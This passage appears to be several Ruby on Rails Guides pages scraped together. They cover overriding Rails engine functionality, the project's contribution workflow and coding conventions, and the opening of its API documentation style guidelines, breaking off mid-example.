This section explains how to add and/or override engine MVC functionality in the main Rails application.

6.1 Overriding Models and Controllers

Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main application. This is usually implemented by using the decorator pattern.

For simple class modifications, use Class#class_eval. For complex class modifications, consider using ActiveSupport::Concern.

6.1.1 A note on Decorators and Loading Code

Because these decorators are not referenced by your Rails application itself, Rails' autoloading system will not kick in and load your decorators. This means that you need to require them yourself.

Here is some sample code to do this:

# lib/blorgh/engine.rb
module Blorgh
class Engine < ::Rails::Engine
isolate_namespace Blorgh

config.to_prepare do
Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c|
require_dependency(c)
end
end
end
end

This doesn't apply to just Decorators, but anything that you add in an engine that isn't referenced by your main application.

6.1.2 Implementing Decorator Pattern Using Class#class_eval

Adding Article#time_since_created:

# MyApp/app/decorators/models/blorgh/article_decorator.rb

Blorgh::Article.class_eval do
def time_since_created
Time.current - created_at
end
end

# Blorgh/app/models/article.rb

class Article < ApplicationRecord
has_many :comments
end

Overriding Article#summary:

# MyApp/app/decorators/models/blorgh/article_decorator.rb

Blorgh::Article.class_eval do
def summary
"#{title} - #{truncate(text)}"
end
end

# Blorgh/app/models/article.rb

class Article < ApplicationRecord
has_many :comments
def summary
"#{title}"
end
end

6.1.3 Implementing Decorator Pattern Using ActiveSupport::Concern

Using Class#class_eval is great for simple adjustments, but for more complex class modifications, you might want to consider using ActiveSupport::Concern. ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code.

Adding Article#time_since_created and Overriding Article#summary:

# MyApp/app/models/blorgh/article.rb

class Blorgh::Article < ApplicationRecord
include Blorgh::Concerns::Models::Article

def time_since_created
Time.current - created_at
end

def summary
"#{title} - #{truncate(text)}"
end
end

# Blorgh/app/models/article.rb

class Article < ApplicationRecord
include Blorgh::Concerns::Models::Article
end

# Blorgh/lib/concerns/models/article.rb

module Blorgh::Concerns::Models::Article
extend ActiveSupport::Concern

# 'included do' causes the included code to be evaluated in the
# context where it is included (article.rb), rather than being
# executed in the module's context (blorgh/concerns/models/article).
included do
attr_accessor :author_name
belongs_to :author, class_name: "User"

before_validation :set_author

private
def set_author
self.author = User.find_or_create_by(name: author_name)
end
end

def summary
"#{title}"
end

module ClassMethods
def some_class_method
'some class method string'
end
end
end

6.2 Overriding Views

When Rails looks for a view to render, it will first look in the app/views directory of the application. If it cannot find the view there, it will check in the app/views directories of all engines that have this directory.

When the application is asked to render the view for Blorgh::ArticlesController's index action, it will first look for the path app/views/blorgh/articles/index.html.erb within the application. If it cannot find it, it will look inside the engine.

You can override this view in the application by simply creating a new file at app/views/blorgh/articles/index.html.erb. Then you can completely change what this view would normally output.

Try this now by creating a new file at app/views/blorgh/articles/index.html.erb and put this content in it:

<h1>Articles</h1>
<%= link_to "New Article", new_article_path %>
<% @articles.each do |article| %>
<h2><%= article.title %></h2>
<small>By <%= article.author %></small>
<%= simple_format(article.text) %>
<hr>
<% end %>

6.3 Routes

Routes inside an engine are isolated from the application by default. This is done by the isolate_namespace call inside the Engine class. This essentially means that the application and its engines can have identically named routes and they will not clash.

Routes inside an engine are drawn on the Engine class within config/routes.rb, like this:

Blorgh::Engine.routes.draw do
resources :articles
end

By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as articles_path may end up going to undesired locations if both the application and the engine have such a helper defined.

For instance, the following example would go to the application's articles_path if that template was rendered from the application, or the engine's articles_path if it was rendered from the engine:

<%= link_to "Blog articles", articles_path %>

To make this route always use the engine's articles_path routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.

<%= link_to "Blog articles", blorgh.articles_path %>

If you wish to reference the application inside the engine in a similar way, use the main_app helper:

<%= link_to "Home", main_app.root_path %>

If you were to use this inside an engine, it would always go to the application's root. If you were to leave off the main_app "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.

If a template rendered from within an engine attempts to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the main_app prefix from within the engine.

6.4 Assets

Assets within an engine work in an identical way to a full application. Because the engine class inherits from Rails::Engine, the application will know to look up assets in the engine's 'app/assets' and 'lib/assets' directories.

Like all of the other components of an engine, the assets should be namespaced. This means that if you have an asset called style.css, it should be placed at app/assets/stylesheets/[engine name]/style.css, rather than app/assets/stylesheets/style.css. If this asset isn't namespaced, there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be ignored.

Imagine that you did have an asset located at app/assets/stylesheets/blorgh/style.css To include this asset inside an application, just use stylesheet_link_tag and reference the asset as if it were inside the engine:

<%= stylesheet_link_tag "blorgh/style.css" %>

You can also specify these assets as dependencies of other assets using Asset Pipeline require statements in processed files:

/*
*= require blorgh/style
*/

Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's .gemspec.

6.5 Separate Assets & Precompiling

There are some situations where your engine's assets are not required by the host application. For example, say that you've created an admin functionality that only exists for your engine. In this case, the host application doesn't need to require admin.css or admin.js. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include "blorgh/admin.css" in its stylesheets. In this situation, you should explicitly define these assets for precompilation. This tells sprockets to add your engine assets when bin/rails assets:precompile is triggered.

You can define assets for precompilation in engine.rb:

initializer "blorgh.assets.precompile" do |app|
app.config.assets.precompile += %w(admin.css admin.js)
end

For more information, read the Asset Pipeline guide.

6.6 Other Gem Dependencies

Gem dependencies inside an engine should be specified inside the .gemspec file at the root of the engine. The reason is that the engine may be installed as a gem. If dependencies were to be specified inside the Gemfile, these would not be recognized by a traditional gem install and so they would not be installed, causing the engine to malfunction.

To specify a dependency that should be installed with the engine during a traditional gem install, specify it inside the Gem::Specification block inside the .gemspec file in the engine:

s.add_dependency "moo"

To specify a dependency that should only be installed as a development dependency of the application, specify it like this:

s.add_development_dependency "moo"

Both kinds of dependencies will be installed when bundle install is run inside of the application. The development dependencies for the gem will only be used when the tests for the engine are running.

Note that if you want to immediately require dependencies when the engine is required, you should require them before the engine's initialization. For example:

require 'other_engine/engine'
require 'yet_another_engine/engine'

module MyEngine
class Engine < ::Rails::Engine
end
end

Contributing to Ruby on Rails — Ruby...

1 Reporting an Issue

Ruby on Rails uses GitHub Issue Tracking to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.

Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test edge Rails (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing.

1.1 Creating a Bug Report

If you've found a problem in Ruby on Rails which is not a security risk, do a search on GitHub under Issues in case it has already been reported. If you are unable to find any open GitHub issues addressing the problem you found, your next step will be to open a new one. (See the next section for reporting security issues.)

Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to reproduce the bug and figure out a fix.

Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.

1.2 Create an Executable Test Case

Having a way to reproduce your issue will be very helpful for others to help confirm, investigate and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point:

- Template for Active Record (models, database) issues: gem / master

- Template for Action Pack (controllers, routing) issues: gem / master

- Generic template for other issues: gem / master

These templates include the boilerplate code to set up a test case against either a released version of Rails (*_gem.rb) or edge Rails (*_master.rb).

Simply copy the content of the appropriate template into a .rb file and make the necessary changes to demonstrate the issue. You can execute it by running ruby the_file.rb in your terminal. If all goes well, you should see your test case failing.

You can then share your executable test case as a gist, or simply paste the content into the issue description.

1.3 Special Treatment for Security Issues

Please do not report security vulnerabilities with public GitHub issue reports. The Rails security policy page details the procedure to follow for security issues.

1.4 What about Feature Requests?

Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.

Sometimes, the line between 'bug' and 'feature' is a hard one to draw. Generally, a feature is anything that adds new behavior, while a bug is anything that causes incorrect behavior. Sometimes, the core team will have to make a judgement call. That said, the distinction generally just affects which release your patch will get in to; we love feature submissions! They just won't get backported to maintenance branches.

If you'd like feedback on an idea for a feature before doing the work to make a patch, please send an email to the rails-core mailing list. You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.

2 Helping to Resolve Existing Issues

As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:

2.1 Verifying Bug Reports

For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.

If an issue is very vague, can you help narrow it down to something more specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem.

If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.

Anything you can do to make bug reports more succinct or easier to reproduce helps folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.

2.2 Testing Patches

You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch:

$ git checkout -b testing_branch

Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.

$ git remote add JohnSmith https://github.com/JohnSmith/rails.git
$ git pull JohnSmith orange

After applying their branch, test it out! Here are some things to think about:

- Does the change actually work?

- Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?

- Does it have the proper documentation coverage? Should documentation elsewhere be updated?

- Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?

Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:

I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too.

If your comment simply reads "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.

3 Contributing to the Rails Documentation

Ruby on Rails has two main sets of documentation: the guides, which help you learn about Ruby on Rails, and the API, which serves as a reference.

You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing them up to date with the latest edge Rails.

You can either open a pull request to Rails or ask the Rails core team for commit access on docrails if you contribute regularly. Please do not open pull requests in docrails, if you'd like to get feedback on your change, ask for it in Rails instead.

Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.

If you are unsure of the documentation changes, you can create an issue in the Rails issues tracker on GitHub.

When working with documentation, please take into account the API Documentation Guidelines and the Ruby on Rails Guides Guidelines.

As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.

To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.

Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.

4 Translating Rails Guides

We are happy to have people volunteer to translate the Rails guides into their own language. If you want to translate the Rails guides in your own language, follows these steps:

- Fork the project (rails/rails).

- Add a source folder for your own language, for example: guides/source/it-IT for Italian.

- Copy the contents of guides/source into your own language directory and translate them.

- Do NOT translate the HTML files, as they are automatically generated.

To generate the guides in HTML format cd into the guides directory then run (eg. for it-IT):

$ bundle install
$ bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT

This will generate the guides in an output directory.

The instructions are for Rails > 4. The Redcarpet Gem doesn't work with JRuby.

Translation efforts we know about (various versions):

- Italian: https://github.com/rixlabs/docrails

- Spanish: http://wiki.github.com/gramos/docrails

- Polish: http://github.com/apohllo/docrails/tree/master

- French : http://github.com/railsfrance/docrails

- Czech : https://github.com/rubyonrails-cz/docrails/tree/czech

- Turkish : https://github.com/ujk/docrails/tree/master

- Korean : https://github.com/rorlakr/rails-guides

- Simplified Chinese : https://github.com/ruby-china/guides

- Traditional Chinese : https://github.com/docrails-tw/guides

- Russian : https://github.com/morsbox/rusrails

- Japanese : https://github.com/yasslab/railsguides.jp

5 Contributing to the Rails Code

5.1 Setting Up a Development Environment

To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you must be able to run its test suite. In this section of the guide you'll learn how to setup the tests on your own computer.

5.1.1 The Easy Way

The easiest and recommended way to get a development environment ready to hack is to use the Rails development box.

5.1.2 The Hard Way

In case you can't use the Rails development box, see this other guide.

5.2 Clone the Rails Repository

To be able to contribute code, you need to clone the Rails repository:

$ git clone https://github.com/rails/rails.git

and create a dedicated branch:

$ cd rails
$ git checkout -b my_new_branch

It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.

5.3 Bundle install

Install the required gems.

$ bundle install

5.4 Running an Application Against Your Local Branch

In case you need a dummy Rails app to test changes, the --dev flag of rails new generates an application that uses your local branch:

$ cd rails
$ bundle exec rails new ~/my-test-app --dev

The application generated in ~/my-test-app runs against your local branch and in particular sees any modifications upon server reboot.

5.5 Write Your Code

Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with git branch -a). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind:

- Get the code right.

- Use Rails idioms and helpers.

- Include tests that fail without your code, and pass with it.

- Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.

Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about our rationales behind this decision).

5.5.1 Follow the Coding Conventions

Rails follows a simple set of coding style conventions:

- Two spaces, no tabs (for indentation).

- No trailing whitespace. Blank lines should not have any spaces.

- Indent after private/protected.

- Use Ruby >= 1.9 syntax for hashes. Prefer { a: :b } over { :a => :b }.

- Prefer &&/|| over and/or.

- Prefer class << self over self.method for class methods.

- Use my_method(my_arg) not my_method( my_arg ) or my_method my_arg.

- Use a = b and not a=b.

- Use assert_not methods instead of refute.

- Prefer method { do_stuff } instead of method{do_stuff} for single-line blocks.

- Follow the conventions in the source you see used already.

The above are guidelines - please use your best judgment in using them.

5.6 Benchmark Your Code

If your change has an impact on the performance of Rails, please use the benchmark-ips gem to provide benchmark results for comparison.

Here's an example of using benchmark-ips:

require 'benchmark/ips'

Benchmark.ips do |x|
x.report('addition') { 1 + 2 }
x.report('addition with send') { 1.send(:+, 2) }
end

This will generate a report with the following information:

Calculating -------------------------------------
addition   132.013k i/100ms
addition with send   125.413k i/100ms
-------------------------------------------------
addition      9.677M (± 1.7%) i/s -     48.449M
addition with send      6.794M (± 1.1%) i/s -     33.987M

Please see the benchmark/ips README for more information.

5.7 Running Tests

It is not customary in Rails to run the full test suite before pushing changes. The railties test suite in particular takes a long time, and even more if the source code is mounted in /vagrant as happens in the recommended workflow with the rails-dev-box.

As a compromise, test what your code obviously affects, and if the change is not in railties, run the whole test suite of the affected component. If all tests are passing, that's enough to propose your contribution. We have Travis CI as a safety net for catching unexpected breakages elsewhere.

5.7.1 Entire Rails:

To run all the tests, do:

$ cd rails
$ bundle exec rake test

5.7.2 For a Particular Component

You can run tests only for a particular component (e.g. Action Pack). For example, to run Action Mailer tests:

$ cd actionmailer
$ bundle exec rake test

5.7.3 Running a Single Test

You can run a single test through ruby. For instance:

$ cd actionmailer
$ bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout

The -n option allows you to run a single method instead of the whole file.

5.7.4 Testing Active Record

First, create the databases you'll need. For MySQL and PostgreSQL, running the SQL statements create database activerecord_unittest and create database activerecord_unittest2 is sufficient. This is not necessary for SQLite3.

This is how you run the Active Record test suite only for SQLite3:

$ cd activerecord
$ bundle exec rake test:sqlite3

You can now run the tests as you did for sqlite3. The tasks are respectively:

test:mysql2
test:postgresql

Finally,

$ bundle exec rake test

will now run the three of them in turn.

You can also run any single test separately:

$ ARCONN=sqlite3 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb

To run a single test against all adapters, use:

$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb

You can invoke test_jdbcmysql, test_jdbcsqlite3 or test_jdbcpostgresql also. See the file activerecord/RUNNING_UNIT_TESTS.rdoc for information on running more targeted database tests, or the file ci/travis.rb for the test suite run by the continuous integration server.

5.8 Warnings

The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.

If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:

$ RUBYOPT=-W0 bundle exec rake test

5.9 Updating the CHANGELOG

The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.

You should add an entry to the top of the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.

A CHANGELOG entry should summarize what was changed and should end with the author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:

*   Summary of a change that briefly describes what was changed. You can use multiple
lines and wrap them at around 80 characters. Code examples are ok, too, if needed:

class Foo
def bar
puts 'baz'
end
end

You can continue after the code example and you can attach issue number. GH#1234

*Your Name*

Your name can be added directly after the last word if there are no code examples or multiple paragraphs. Otherwise, it's best to make a new paragraph.

5.10 Updating the Gemfile.lock

Some changes require the dependencies to be upgraded. In these cases make sure you run bundle update to get the right version of the dependency and commit the Gemfile.lock file within your changes.

5.11 Sanity Check

You should not be the only person who looks at the code before you submit it. If you know someone else who uses Rails, try asking them if they'll check out your work. If you don't know anyone else using Rails, try hopping into the IRC room or posting about your idea to the rails-core mailing list. Doing this in private before you push a patch out publicly is the "smoke test" for a patch: if you can't convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.

5.12 Commit Your Changes

When you're happy with the code on your computer, you need to commit the changes to Git:

$ git commit -a

This should fire up your editor to write a commit message. When you have finished, save and close to continue.

A well-formatted and descriptive commit message is very helpful to others for understanding why the change was made, so please take the time to write it.

A good commit message looks like this:

Short summary (ideally 50 characters or less)

More detailed description, if necessary. It should be wrapped to
72 characters. Try to be as descriptive as you can. Even if you
think that the commit content is obvious, it may not be obvious
to others. Add any description that is already present in the
relevant issues; it should not be necessary to visit a webpage
to check the history.

The description section can have multiple paragraphs.

Code examples can be embedded by indenting them with 4 spaces:

class ArticlesController
def index
render json: Article.limit(10)
end
end

You can also add bullet points:

- make a bullet point by starting a line with either a dash (-)
or an asterisk (*)

- wrap lines at 72 characters, and indent any additional lines
with 2 spaces for readability

Please squash your commits into a single commit when appropriate. This simplifies future cherry picks and keeps the git log clean.

5.13 Update Your Branch

It's pretty likely that other changes to master have happened while you were working. Go get them:

$ git checkout master
$ git pull --rebase

Now reapply your patch on top of the latest changes:

$ git checkout my_new_branch
$ git rebase master

No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.

5.14 Fork

Navigate to the Rails GitHub repository and press "Fork" in the upper right hand corner.

Add the new remote to your local repository on your local machine:

$ git remote add mine https://github.com:<your user name>/rails.git

Push to your remote:

$ git push mine my_new_branch

You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do.

In the directory you cloned your fork:

$ git remote add rails https://github.com/rails/rails.git

Download new commits and branches from the official repository:

$ git fetch rails

Merge the new content:

$ git checkout master
$ git rebase rails/master

Update your fork:

$ git push origin master

If you want to update another branch:

$ git checkout branch_name
$ git rebase rails/branch_name
$ git push origin branch_name

5.15 Issue a Pull Request

Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and click on "Pull Requests" seen in the right panel. On the next page, press "New pull request" in the upper right hand corner.

Click on "Edit", if you need to change the branches being compared (it compares "master" by default) and press "Click to create a pull request for this comparison".

Ensure the changesets you introduced are included. Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission.

5.16 Get some Feedback

Most pull requests will go through a few iterations before they get merged. Different contributors will sometimes have different opinions, and often patches will need to be revised before they can get merged.

Some contributors to Rails have email notifications from GitHub turned on, but others do not. Furthermore, (almost) everyone who works on Rails is a volunteer, and so it may take a few days for you to get your first feedback on a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such is the open source life.

If it's been over a week, and you haven't heard anything, you might want to try and nudge things along. You can use the rubyonrails-core mailing list for this. You can also leave another comment on the pull request.

While you're waiting for feedback on your pull request, open up a few other pull requests and give someone else some! I'm sure they'll appreciate it in the same way that you appreciate feedback on your patches.

5.17 Iterate as Necessary

It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem.

5.17.1 Squashing commits

One of the things that we may ask you to do is to "squash your commits", which will combine all of your commits into a single commit. We prefer pull requests that are a single commit. This makes it easier to backport changes to stable branches, squashing makes it easier to revert bad commits, and the git history can be a bit easier to follow. Rails is a large project, and a bunch of extraneous commits can add a lot of noise.

In order to do this, you'll need to have a git remote that points at the main Rails repository. This is useful anyway, but just in case you don't have it set up, make sure that you do this first:

$ git remote add upstream https://github.com/rails/rails.git

You can call this remote whatever you'd like, but if you don't use upstream, then change the name to your own in the instructions below.

Given that your remote branch is called my_pull_request, then you can do the following:

$ git fetch upstream
$ git checkout my_pull_request
$ git rebase -i upstream/master

< Choose 'squash' for all of your commits except the first one. >
< Edit the commit message to make sense, and describe all your changes. >

$ git push origin my_pull_request -f

You should be able to refresh the pull request on GitHub and see that it has been updated.

5.17.2 Updating pull request

Sometimes you will be asked to make some changes to the code you have already committed. This can include amending existing commits. In this case Git will not allow you to push the changes as the pushed branch and local branch do not match. Instead of opening a new pull request, you can force push to your branch on GitHub as described earlier in squashing commits section:

$ git push origin my_pull_request -f

This will update the branch and pull request on GitHub with your new code. Do note that using force push may result in commits being lost on the remote branch; use it with care.

5.18 Older Versions of Ruby on Rails

If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 4-0-stable branch:

$ git branch --track 4-0-stable origin/4-0-stable
$ git checkout 4-0-stable

You may want to put your Git branch name in your shell prompt to make it easier to remember which version of the code you're working with.

5.18.1 Backporting

Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.

For simple fixes, the easiest way to backport your changes is to extract a diff from your changes in master and apply them to the target branch.

First make sure your changes are the only difference between your current branch and master:

$ git log master..HEAD

Then extract the diff:

$ git format-patch master --stdout > ~/my_changes.patch

Switch over to the target branch and apply your changes:

$ git checkout -b my_backport_branch 3-2-stable
$ git apply ~/my_changes.patch

This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort.

Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in .travis.yml before submitting your pull request.

And then... think about your next contribution!

6 Rails Contributors

All contributions, either via master or docrails, get credit in Rails Contributors.

API Documentation Guidelines — Ruby on...

1 RDoc

The Rails API documentation is generated with RDoc. To generate it, make sure you are in the rails root directory, run bundle install and execute:

bundle exec rake rdoc

Resulting HTML files can be found in the ./doc/rdoc directory.

Please consult the RDoc documentation for help with the markup, and also take into account these additional directives.

2 Wording

Write simple, declarative sentences. Brevity is a plus: get to the point.

Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".

Start comments in upper case. Follow regular punctuation rules:

# Declares an attribute reader backed by an internally-named
# instance variable.
def attr_internal_reader(*attrs)
...
end

Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.

Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?

The proper names of Rails components have a space in between the words, like "Active Support". ActiveRecord is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.

Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.

Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".

Prefer wordings that avoid "you"s and "your"s. For example, instead of

If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.

use this style:

If `return` is needed it is recommended to explicitly define a method.

That said, when using pronouns in reference to a hypothetical person, such as "a user with a session cookie", gender neutral pronouns (they/their/them) should be used. Instead of:

- he or she... use they.

- him or her... use them.

- his or her... use their.

- his or hers... use theirs.

- himself or herself... use themselves.

3 English

Please use American English (color, center, modularize, etc). See a list of American and British English spelling differences here.

4 Oxford Comma

Please use the Oxford comma ("red, white, and blue", instead of "red, white and blue").

5 Example Code

Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.

Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use Rails coding conventions.

Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:

# Converts a collection of elements into a formatted string by
# calling +to_s+ on all elements and joining them.
#
#   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"

On the other hand, big chunks of structured documentation may have a separate "Examples" section:

# ==== Examples
#
#   Person.exists?(5)
#   Person.exists?('5')
#   Person.exists?(name: "David")
#   Person.exists?(['name LIKE ?', "%#{query}%"])

The results of expressions follow them and are introduced by "# => ", vertically aligned:

# For checking if an integer is even or odd.
#
#   1.even? # => false
#   1.odd?  # => true
#   2.even? # => true
#   2.odd?  # => false

If a line is too long, the comment may be placed on the next line:

#   label(:article, :title)
#   # => <label for="article_title">Title</label>
#
#   label(:article, :title, "A short title")
#   # => <label for="article_title">A short title</label>
#
#   label(:article, :title, "A short title", class: "title_label")
#   # => <label for="article_title" class="title_label">A short title</label>

Avoid using any printing methods like puts or p for that purpose.

On the other hand, regular comments do not use an arrow:

#   polymorphic_url(record)  # same as comment_url(record)

6 Booleans

In predicates and flags prefer documenting boolean semantics over exact values.

When "true" or "false" are used as defined in Ruby use regular font. The singletons true and false need fixed-width font. Please avoid terms like "truthy", Ruby defines what is true and false in the language, and thus those words have a technical meaning and need no substitutes.

As a rule of thumb, do not document singletons unless absolutely necessary. That prevents artificial constructs like !! or ternaries, allows refactors, and the code does not need to rely on the exact values returned by methods being called in the implementation.

For example:

`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default

the user does not need to know which is the actual default value of the flag, and so we only document its boolean semantics.

An example with a predicate:

# Returns true if the collection is empty.
#
# If the collection has been loaded
# it is equivalent to <tt>collection.size.zero?</tt>. If the
# collection has not been loaded, it is equivalent to
# <tt>collection.exists?</tt>. If the collection has not already been
# loaded and you are going to fetch the records anyway it is better to
# check <tt>collection.length.zero?</tt>.
def empty?
if loaded?
size.zero?
else
@target.blank? && !scope.exists?
end
end

The API is careful not to commit to any particular value, the method has predicate semantics, that's enough.

7 File Names

As a rule of thumb, use filenames relative to the application root:

config/routes.rb            # YES
routes.rb                   # NO
RAILS_ROOT/config/routes.rb # NO

8 Fonts

8.1 Fixed-width Font

Use fixed-width fonts for:

- Constants, in particular class and module names.

- Method names.

- Literals like nil, false, true, self.

- Symbols.

- Method parameters.

- File names.

class Array
# Calls +to_param+ on all its elements and joins the result with
# slashes. This is used by +url_for+ in Action Pack.
def to_param
collect { |e| e.to_param }.join '/'
end
end

Using +...+ for fixed-width font only works with simple content like ordinary method names, symbols, paths (with forward slashes), etc. Please use <tt>...</tt> for everything else, notably class or module names with a namespace as in <tt>ActiveRecord::Base</tt>.

You can quickly test the RDoc output with the following command:

$ echo "+:to_param+" | rdoc --pipe
# => <p><code>:to_param</code></p>

8.2 Regular Font

When "true" and "false" are English words rather than Ruby keywords use a regular font:

# Runs all the validations within the specified context.
# Returns true if no errors are found, false otherwise.
#
# If the argument is false (default is +nil+), the context is
# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
# and to <tt>:update</tt> if it is not.
#
# Validations with no <tt>:on</tt> option will run no
# matter the context. Validations with # some <tt>:on</tt>
# option will only run in the specified context.
def valid?(context = nil)
...
end

9 Description Lists

In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):

# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.

The description starts in upper case and ends with a full stop-it's standard English.

10 Dynamically Generated Methods

Methods created with (module|class)_eval(STRING) have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:

for severity in Severity.constants
class_eval <<-EOT, __FILE__, __LINE__
